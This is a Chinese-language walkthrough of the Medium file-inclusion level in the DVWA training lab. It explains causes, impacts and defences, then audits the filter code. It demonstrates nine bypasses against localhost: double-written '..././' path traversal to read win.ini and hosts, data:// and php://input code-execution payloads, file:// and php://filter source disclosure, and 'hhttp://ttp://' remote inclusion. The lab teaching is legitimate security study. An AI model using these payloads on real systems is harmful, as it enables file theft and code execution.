DVWA靶場通關筆記-文件包含(Medium級別 9種滲透方法)

目錄

一、文件包含

1、原因

2、危害

3、防范措施

二、代碼審計(Medium級別)

1、滲透準備

(1)配置php.ini

(2)file1.php

(3)file2.php

(4)file3.php

2、源碼分析

(1)index.php

(2)include.php

(3)Medium.php

3、滲透思路

三、滲透實戰

1、訪問file4.php(成功)

2、訪問敏感文件win.ini(雙寫滲透成功)

3、獲取敏感信息hosts(雙寫滲透成功)

4、訪問phpinfo(雙寫滲透成功)

5、data偽協議(成功)

6、php://input偽協議(成功)

7、file偽協議(成功)

8、php://filter偽協議(成功)

9、遠程包含http協議(雙寫滲透成功)


本系列為通過《DVWA靶場通關筆記》的文件包含關卡(low,medium,high,impossible共4關)滲透集合,通過對相應關卡源碼的代碼審計找到講解滲透原理并進行滲透實踐,本文為文件包含Medium關卡的滲透部分。

一、文件包含

文件包含是一種嚴重的安全威脅,攻擊者可以通過構造惡意文件路徑,誘導服務器包含并執行惡意文件。

1、原因

文件包含安全風險的本質是程序在動態加載文件時,由于直接信任并使用了未經驗證的用戶輸入作為文件路徑參數,使得攻擊者能夠通過構造惡意路徑(如../../../etc/passwd或遠程URL)突破預期的文件訪問范圍,從而非法讀取敏感文件或執行任意代碼。具體原因如下所示。

分類具體原因描述
程序設計缺陷未驗證用戶輸入開發者未對用戶提供的文件路徑參數進行嚴格過濾和驗證
動態包含機制使用變量動態構建文件包含路徑,如include($_GET['page'])
配置問題PHP配置不當allow_url_includeallow_url_fopen設置為On
服務器配置寬松Web服務器未設置適當的訪問權限限制
開發習慣使用相對路徑依賴相對路徑包含文件,易受路徑遍歷攻擊
硬編碼不充分未使用固定的基礎目錄限制文件包含范圍

2、危害

危害類型詳細描述
代碼執行攻擊者可包含惡意 PHP 文件,執行任意代碼,如修改網站頁面內容、刪除重要文件、添加惡意腳本等,破壞網站的正常功能和數據。
數據泄露通過包含敏感文件,如數據庫配置文件(包含數據庫用戶名、密碼等)、用戶信息文件等,獲取網站的敏感信息,導致數據泄露,危害用戶隱私和網站安全。
權限提升利用文件包含安全風險,攻擊者可能獲取更高權限,如獲取系統管理員權限,進一步控制服務器,進行更惡意的操作,如安裝后門程序、篡改系統設置等。
網站掛馬包含惡意腳本文件,在網站頁面中插入惡意代碼,當用戶訪問網站時,可能導致用戶計算機感染惡意軟件,或者將網站流量導向惡意網站,影響用戶體驗并可能造成用戶的損失。
破壞業務邏輯包含惡意文件可能干擾網站的業務邏輯,如干擾用戶的身份驗證、支付流程等,導致業務流程被破壞,影響網站的正常運營。

3、防范措施

文件包含風險是一種嚴重的安全威脅,開發人員應高度重視并采取有效措施進行防范。

防范措施具體描述
嚴格的白名單驗證建立嚴格的白名單,明確允許包含的文件列表。只允許特定的、經過安全評估的文件被包含,拒絕所有其他文件。
使用絕對路徑在包含文件時,使用絕對路徑而不是相對路徑。這樣可以防止攻擊者通過目錄遍歷風險訪問到非預期的文件。
輸入驗證與過濾對用戶輸入的文件名或文件路徑進行嚴格的驗證和過濾。去除任何可能包含目錄遍歷字符(如../)或其他惡意字符的內容,防止攻擊者構造惡意路徑。
禁用危險函數或功能根據應用程序的實際需求,禁用一些可能導致文件包含風險的危險函數,如eval()include_once()等,如果必須使用,要確保對傳入參數進行嚴格檢查。
限制文件類型明確規定允許包含的文件類型,只允許包含特定擴展名的文件,如.php文件,避免包含其他可能包含惡意代碼的文件類型,如.txt.html等,除非有特殊需求并進行了充分的安全評估。
服務器配置優化確保服務器的配置正確,限制對文件系統的訪問權限。例如,將 Web 服務器的運行權限設置為盡可能低,只給予必要的文件和目錄讀寫權限,防止攻擊者利用文件包含風險進行越界訪問和操作。
安全更新與監控及時更新服務器軟件和應用程序框架,以修復可能存在的文件包含風險。同時,建立監控機制,實時監測文件包含操作,發現異常行為及時報警并處理。

二、代碼審計(Medium級別)

1、滲透準備

配置security為中等Medium級別。

進入到文件包含關卡Medium頁面,發現頁面有三個鏈接,分別對應file1.php, file2.php, file3.php,具體如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=include.php

(1)配置php.ini

因為源碼include.php會檢查 PHP 配置中的 allow_url_include allow_url_fopen,代碼確保了必要的功能已經啟用,否則舉例如果allow_url_include配置為off,會有如下報錯。

修改php.ini文件,開啟allow_url_includeallow_url_fopen,切記修改后需要重啟小皮的Apache服務,配置效果如下所示。

(2)file1.php

點擊file1.php效果如下,顯示當前登陸賬號和ip地址。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php

(3)file2.php

點擊file2.php效果如下,傳入參數為page=file2.php。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php

(4)file3.php

點擊file3.php效果如下,傳入參數為page=file3.php。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

2、源碼分析

打開靶場的文件包含Medium關,完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=include.php

(1)index.php

這段代碼的主要目的是展示不同安全級別下的文件包含風險。通過設置不同的安全級別,用戶可以觀察到不同防護措施下的文件包含行為。代碼的核心邏輯是根據用戶輸入動態包含文件,這在低安全級別下可能導致惡意文件的包含,從而引發安全問題。例如,攻擊者可以通過控制 $file 參數(指定不同級別的文件也就是lowmediumhighimpossible對應的php文件),誘導服務器包含惡意腳本文件

這段 PHP 代碼是一個用于演示文件包含風險的示例,主要功能是根據用戶設置的安全級別,包含并執行不同的 PHP 文件,同時處理用戶請求的文件包含操作。以下是代碼功能的詳細描述:

  • 初始化和配置
    • 定義了一個常量 DVWA_WEB_PAGE_TO_ROOT,用于指定網站根目錄的相對路徑。
    • 使用 require_once 引入了 dvwaPage.inc.php 文件,該文件包含了 DVWA 的頁面初始化和配置功能。
    • 調用 dvwaPageStartup 函數,初始化頁面,確保用戶已認證,并根據配置加載 PHPIDS
  • 頁面設置
    • 創建了一個 $page 數組,用于存儲頁面的標題、頁面 ID、幫助按鈕和源代碼按鈕等信息。
    • 設置了頁面的標題為“Vulnerability: File Inclusion”,并根據 DVWA 的頁面結構添加了分隔符和主標題。
  • 數據庫連接
    • 調用 dvwaDatabaseConnect 函數,連接到數據庫,為后續操作提供數據庫支持。
  • 選擇不同級別文件
    • 根據 $_COOKIE['security'] 的值,選擇不同安全級別的文件:
      • low:包含 low.php 文件。
      • medium:包含 medium.php 文件。
      • high:包含 high.php 文件。
      • 默認:包含 impossible.php 文件。
    • 這些文件分別實現了不同安全級別下的文件包含邏輯。
  • 文件包含邏輯
    • 如果 $_GET 中存在 $file 參數(代碼中注釋掉了 $_GET 的檢查,實際使用中應檢查 $_GET['file']),則包含用戶指定的文件。
    • 如果沒有指定文件,則重定向到 include.php 頁面。
  • 頁面渲染
    • 調用 dvwaHtmlEcho 函數,渲染并輸出頁面內容。

(2)include.php

這段 PHP 代碼是一個用于演示文件包含關卡的示例頁面,屬于 DVWA(Damn Vulnerable Web Application)項目的一部分。其主要功能是檢查 PHP 配置中的相關功能是否啟用,并提供一個簡單的用戶界面,允許用戶通過 URL 參數動態包含文件。以下是代碼功能的詳細描述:

  • 檢查 PHP 配置
    • 檢查 allow_url_include 是否啟用:該配置項允許 PHP 的 include 和 require 函數包含遠程文件。如果未啟用,會生成一個警告信息。
    • 檢查 allow_url_fopen 是否啟用:該配置項允許 PHP 打開遠程文件。如果未啟用,也會生成一個警告信息。
  • 生成警告信息
    • 如果上述任何一個配置項未啟用,會生成相應的警告信息,并將其存儲在 $WarningHtml 變量中。
  • 頁面內容構建
    • 構建頁面的 HTML 內容,包括:
      • 一個標題,顯示“Vulnerability: File Inclusion”。
      • 顯示警告信息(如果有的話)。
      • 提供三個可點擊的鏈接,分別指向 file1.php、file2.php 和 file3.php,允許用戶通過 URL 參數動態包含這些文件。
      • 提供一些關于文件包含額外信息鏈接,包括維基百科的遠程文件包含頁面和 OWASP Top 10 2007 的相關頁面。

這段代碼的主要目的是展示文件包含的基本原理和潛在風險。通過檢查 PHP 配置中的 allow_url_include 和 allow_url_fopen,代碼確保了必要的功能已經啟用,從而可以進行文件包含操作。如果這些配置項未啟用,用戶將看到警告信息,提示他們需要啟用這些功能才能正常運行代碼。

(3)Medium.php

進入DVWA靶場源目錄,找到Medium.php源碼。

打開源碼Medium.php,分析可知這段代碼實現了僅有簡單驗證的不安全的文件包含功能,參數為page,如下所示。

這段 PHP 代碼的目的是從用戶輸入中獲取一個文件路徑,并對其進行簡單的驗證,以防止某些類型的文件包含攻擊。以下是代碼功能的詳細描述:

  • 獲取用戶輸入
    • 從 $_GET['page'] 中獲取用戶指定的文件路徑。這個值將用于后續的文件包含操作。
  • 輸入驗證
    • 使用 str_replace 函數移除字符串中的 http:// 和 https://。這是為了防止攻擊者通過包含遠程文件(如 http://malicious.com/badfile.php)來執行惡意代碼。
    • 使用 str_replace 函數移除字符串中的 ../ 和 ..\"。這是為了防止目錄遍歷攻擊,即攻擊者通過包含上級目錄的文件(如 ../config.php)來獲取敏感信息。

這段代碼的主要功能是對用戶輸入的文件路徑進行簡單的清理,以減少文件包含攻擊的風險。然而,這種清理方式并不足以完全防止文件包含風險。攻擊者仍然可以通過其他方式繞過這些簡單的過濾措施。例如,攻擊者可以使用其他協議(如 file://)或編碼方式來繞過過濾。

<?php
// The page we wish to display
$file = $_GET['page']; // 從 GET 請求中獲取 'page' 參數的值,該值將用于指定要包含的文件。
// Input validation
$file = str_replace(array("http://", "https://"), "", $file); // 移除字符串中的 "http://" 和 "https://",防止包含遠程文件。
$file = str_replace(array("../", "..\""), "", $file); // 移除字符串中的 "../" 和 "..\",防止目錄遍歷攻擊。
// 代碼中缺少文件包含的部分,例如:
// include($file); // 假設這里會包含用戶指定的文件。
?>

3、滲透思路

這段PHP代碼實現了一個存在安全風險的動態文件包含功能,通過$_GET['page']接收用戶輸入的文件名,并嘗試包含該文件。雖然代碼使用str_replace()過濾了"http://""https://"和路徑遍歷字符("../", "..")來防止遠程文件包含(RFI)和目錄遍歷攻擊(LFI),但這種過濾方式并不安全,容易通過大小寫變異、雙重編碼或特殊字符組合等方式繞過。

  • 過濾“http:// 和 https://”,雙寫繞過:“hhttp://ttp://”和“hhttps://ttps://”
  • 過濾了“../ 和 ..\” ,雙寫繞過:“..././”和“. ..\.\”

三、滲透實戰

1、訪問file4.php(成功)

進入DVWA靶場的文件包含關卡low級別,基于滲透準備中測試了page為file1.php, file2.php, file3.php, 我們嘗試將關卡首頁,將page參數改為file4.php,如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php

完整的URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file4.php

如下所示,顯示了隱藏內容,提示用戶名為admin,安全級別為Medium。

2、訪問敏感文件win.ini(雙寫滲透成功)

黑客計劃訪問win.ini文件,默認他的位置為c://windows/win.ini。

而當前關卡文件包含index.php源碼位置為C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。

故而win.ini相對于low.php的路徑為../../../../../../windows/win.ini,基于此文件包含的路徑如下所示。

page=../../../../../../windows/win.ini

完整的滲透URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../../../../../windows/win.ini

使用“..././”替換“../”,完整滲透URL如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/win.ini

如下所示成功訪問到win.ini文件,滲透成功。?

3、獲取敏感信息hosts(雙寫滲透成功)

接下來將page改為../../../../../../windows/system32/drivers/etc/hosts進行滲透,基于此文件包含的路徑如下所示。

page =../../../../../../windows/system32/drivers/etc/hosts進行滲透

完整的滲透URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../windows/system32/drivers/etc/hosts

使用“..././”替換“../”,完整滲透URL如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././windows/system32/drivers/etc/hosts

如下所示,成功訪問到c:// windows/system32/drivers/etc/hosts文件,滲透成功。

4、訪問phpinfo(雙寫滲透成功)

在DVWA首頁有訪問phpinfo的鏈接,如下圖紅框所示。

此時的URL地址為http://127.0.0.1/dvwa/phpinfo.php,這說明DVWA靶場的根目錄中包含phpinfo.php文件。

http://127.0.0.1/dvwa/phpinfo.php

在C:\phpstudy_pro\WWW\中復制phpinfo.php文件,重命名為phpinfo.txt如下圖紅框所示。

?

而當前關卡index.php的源碼位置為C:\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\。

故而phpinfo.txt相對于low.php的路徑為../../../../../../windows/win.ini,基于此文件包含的路徑如下所示。

page=../../../phpinfo. txt

完整的滲透URL地址如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../phpinfo. txt

使用“..././”替換“../”,完整滲透URL如下所示。

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..././..././phpinfo.txt

?如下所示,成功獲取到服務器的php相關信息,滲透成功。

??

5、data偽協議(成功)

通過data偽協議進行滲透,特別注意參數傳遞方法為GET方法。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://,<?php phpinfo();?>

?如下所示,成功通過data偽協議獲取到服務器的phpinfo信息。?

?

6、php://input偽協議(成功)

通過php://input偽協議進行滲透,特別注意參數傳遞方法為POST方法。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://input
Post參數:<?php phpinfo();?>

?如下所示,成功通過php://input偽協議獲取到服務器的phpinfo信息。

?

7、file偽協議(成功)

通過file偽協議獲取C:\Windows\System32\drivers\etc\hosts,需要使用文件絕對路徑,如下所示。

file:///C:\Windows\System32\drivers\etc\hosts

完整URL地址如下所示,參數為page。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///C:\Windows\System32\drivers\etc\hosts

?如下所示,成功通過file偽協議獲取到C:\Windows\System32\drivers\etc\hosts文件的內容。?

?

8、php://filter偽協議(成功)

通過php://filter協議獲取源碼文件medium.php,使用base64編碼的方法來獲取,具體的方法為php://filter/read=convert.base64-encode/resource=source/medium.php,完整URL地址如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=source/medium.php

如下所示,通過php://filter協議獲取medium.php源碼成功,頁面成功顯示medium.php的base64編碼。

base64加密后內容如下所示。

PD9waHANCg0KLy8gVGhlIHBhZ2Ugd2Ugd2lzaCB0byBkaXNwbGF5DQokZmlsZSA9ICRfR0VUWyAncGFnZScgXTsNCg0KLy8gSW5wdXQgdmFsaWRhdGlvbg0KJGZpbGUgPSBzdHJfcmVwbGFjZSggYXJyYXkoICJodHRwOi8vIiwgImh0dHBzOi8vIiApLCAiIiwgJGZpbGUgKTsNCiRmaWxlID0gc3RyX3JlcGxhY2UoIGFycmF5KCAiLi4vIiwgIi4uXCIiICksICIiLCAkZmlsZSApOw0KDQo

使用在線base64解碼工具,如下所示。

?

9、遠程包含http協議(雙寫滲透成功)

在3.4部分我們創建的phpinfo.txt放在DVWA靶場的目錄中,故而其URL地址如下所示。

http://127.0.0.1/DVWA/phpinfo.txt

使用http協議進行遠程文件包含,完整的滲透URL地址如下所示。?

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/pikachu/test/phpinfo.txt

使用雙寫法“hhttp://ttp://”替換“http://”,滲透URL地址變為如下所示。

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hhttp://ttp://127.0.0.1/pikachu/test/phpinfo.txt

如下所示,通過遠程包含滲透成功。

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/86991.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/86991.shtml
英文地址,請注明出處:http://en.pswp.cn/web/86991.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

飛云翻倍布林(翻倍密碼系統四線布林版)雙安全系統+均價趨勢指標+日線周線MACD,組合操盤技術圖文分享

如上圖組合操盤套裝指標&#xff0c;主圖指標-翻倍密碼系統四線布林版-飛云翻倍布林。副圖指標1-均價趨勢指標&#xff0c;跟蹤市場均價走勢和趨勢&#xff1b;副圖指標2-日線周線MACD指標&#xff0c;跟蹤日線和周線兩個級別的MACD多空走勢以及共振與否。 主圖指標-飛云翻倍布…

《匯編語言:基于X86處理器》第6章 條件處理(1)

本章向程序員的匯編語言工具箱中引入一個重要的內容&#xff0c;使得編寫出來的程序具備作決策的功能。幾乎所有的程序都需要這種能力。首先&#xff0c;介紹布爾操作&#xff0c;由于能影響CPU狀態標志&#xff0c;它們是所有條件指令的核心。然后&#xff0c;說明怎樣使用演繹…

【分治思想】歸并排序 與 逆序對

歸并排序 歸并排序是一種分治算法&#xff0c;怎么分&#xff0c;怎么治&#xff1f; 分&#xff1a;通過遞歸不斷把數組分成兩半&#xff0c;直到每個子數組只剩 1 個元素&#xff08;天然有序&#xff09;治&#xff1a;把兩個已經排好序的子數組合并成一個有序數組。 把問…

SQL參數化查詢:防注入與計劃緩存的雙重優勢

在數據庫操作中&#xff0c;SQL參數化查詢&#xff08;Parameterized Queries&#xff09;是一種非常有效的技術&#xff0c;它不僅可以防止SQL注入攻擊&#xff0c;還可以提高數據庫查詢的效率&#xff0c;尤其是在與計劃緩存&#xff08;Query Plan Caching&#xff09;結合使…

【你怕一E1】- 孰輕孰重如何斷-組合問題的多種情形

摘要 本視頻講解了組合問題的多種情形,包括多選一、多選二、多選三以及分隊問題的解題方法。首先介紹了從不同人數中選人的不同選擇方式,如一百人中選一人有一百種選擇。隨后,詳細講解了有序思考方法在多選二問題中的應用,通過選隊長的方式列舉不同組合情況,并歸納出選擇規…

nginx反向代理的bug

nginx反向代理的bug 問題呈現 當我們配置反向代理的時候查詢error.log的時候我們發現以下的問題 2025/06/29 08:38:47 [error] 7#7: *2 open() “/usr/share/nginx/html/payed/notify” failed (2: No such file or directory), client: 192.168.98.1, server: localhost, r…

MyBatis 動態 SQL 與緩存機制深度解析

在Java持久層技術體系中&#xff0c;MyBatis憑借其靈活的SQL映射和強大的動態SQL能力&#xff0c;成為企業級應用開發的首選框架。本文從動態SQL核心語法、緩存實現原理、性能優化及面試高頻問題四個維度&#xff0c;結合源碼與工程實踐&#xff0c;系統解析MyBatis的核心特性與…

Nuxt 3 中實現跨組件通信方式總結:使用 Pinia、Provide/Inject 或 Props

在開發復雜的 Web 應用時&#xff0c;跨組件通信是一個常見的需求。Nuxt 3 提供了多種方式來實現這一點&#xff0c;包括使用狀態管理工具&#xff08;如 Pinia&#xff09;、Vue 的 provide/inject 機制以及傳統的 props 傳遞。本文將詳細介紹這三種方法&#xff0c;并通過一個…

Java ArrayList 擴容機制

一、ArrayList 簡介 ArrayList 是 Java 集合框架中基于數組實現的可變長度列表&#xff0c;其核心特性是&#xff1a; 支持隨機訪問&#xff08;通過索引&#xff09;支持動態擴容插入/刪除效率較低&#xff08;非尾部操作&#xff09; 二、底層數據結構 // JDK 11 transien…

C++面試題精講系列之數組排序

數組排序是我們經常遇到的筆試題目&#xff0c;給大家盤一下這題到底想考察什么&#xff1f; // 考題如下 void main() {int arr[4] {26,28,24,11};// 請實現一個sortArray函數&#xff0c;對數組arr進行從小到大排序 }考點1&#xff1a;數組做函數參數如何傳遞參&#xff1f;…

Windows10/11 輕度優化 純凈版,12個版本!

系統介紹 鏡像包均基于微軟官方原版系統精心制作&#xff0c;確保系統的原汁原味與穩定性。Windows 10/11&#xff0c;都集成了最新的補丁。版本選對&#xff0c;一鍵安裝到位&#xff0c;全自動無人值守安裝模式。 系統特點 系統進行優化提供了12個系統版本集成了運行庫、…

開發工具IDEA

開發工具IDEA 開發調試&#xff08;debug&#xff09;Maven配置三級目錄 開發調試&#xff08;debug&#xff09; 史上最全的 IDEA Debug 調試技巧&#xff08;超詳細案例&#xff09; Maven配置 idea全局Maven配置 IDEA中Maven配置詳解 有些時候不要配置maven_home這些環境…

GitHub Actions與AWS OIDC實現安全的ECR/ECS自動化部署

引言 在現代云原生應用開發中,實現安全、高效的CI/CD流程至關重要。本文將詳細介紹如何利用GitHub Actions和AWS OIDC(OpenID Connect)構建一個無需長期憑證的安全部署管道,將容器化應用自動部署到Amazon ECR和ECS服務。 架構概述 整個解決方案的架構包含三個主要部分:…

一、MongoDB安裝-二進制安裝

下載tar包 wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel70-7.0.21.tgz wget https://downloads.mongodb.com/compass/mongosh-2.5.3-linux-x64.tgz安裝 解壓 tar xf mongodb-linux-x86_64-rhel70-7.0.21.tgz cp mongodb-linux-x86_64-rhel70-7.0.21/bi…

學習日志03 ETF 基礎數據可視化分析與簡易管理系統

1 代碼的選擇和改進 import pandas as pd import matplotlib.pyplot as plt import seaborn as sns from ipywidgets import (AppLayout, Dropdown, Button, Output, VBox, HBox, Label, Layout, SelectMultiple,IntSlider, FloatSlider, Checkbox, Text, Select) from IPytho…

[Python] -基礎篇7-新手常見Python語法錯誤及解決方案

Python 以其簡潔明了的語法引人入勝,但對于初學者而言,仍然容易遭遇各類語法錯誤。本文總結了 Python 語言日常編寫中最常見的語法錯誤類型,并提供解決方案和正確寫法,幫助新手快速突破編程路上的一道道埋伏。 1. 拼寫錯誤 (SyntaxError) 這是最基本也最常見的錯誤類型。…

位運算實戰:數值構造終極優化

位運算優化實戰&#xff1a;數值構造問題詳解 今天我們將深入分析一個有趣的位運算優化問題&#xff0c;這個問題展示了如何通過巧妙的預處理和貪心算法來高效解決數值構造問題。 問題背景與定義 給定一個初始值x&#xff08;0 ≤ x ≤ m&#xff09;和一系列位運算操作&…

nosql項目:基于 Redis 哨兵模式的鮮花預訂配送系統

1 鮮花預訂配送系統概述 1.1 項目背景 鮮花預訂系統是一個實時處理用戶訂單、庫存管理和配送跟蹤的平臺。系統需要處理大量并發訂單&#xff0c;實時更新鮮花庫存狀態&#xff0c;并跟蹤配送進度。傳統關系型數據庫難以應對高并發的訂單處理和實時庫存更新需求&#xff0c;因…

中心效應:多中心臨床試驗的關鍵考量

一、中心效應的來源與影響 1.1 常見來源 1.1.1 患者異質性 中心間基線特征差異(如疾病嚴重度、合并癥比例) 1.1.2 操作差異 給藥規范(如輸液速度)、隨訪依從性、數據記錄質量 1.1.3 評估偏倚 影像學判讀標準(如RECIST)、實驗室檢測方法(如中心實驗室 vs 本地實驗室) …

Redis 實現消息隊列

一、為什么選擇 Redis 作為消息隊列&#xff1f; 在分布式系統架構中&#xff0c;消息隊列是實現異步通信和解耦的核心組件。Redis 作為一個高性能的內存數據庫&#xff0c;憑借其卓越的速度和豐富的數據結構&#xff0c;成為輕量級消息隊列的理想選擇&#xff1a; 1.1 核心優…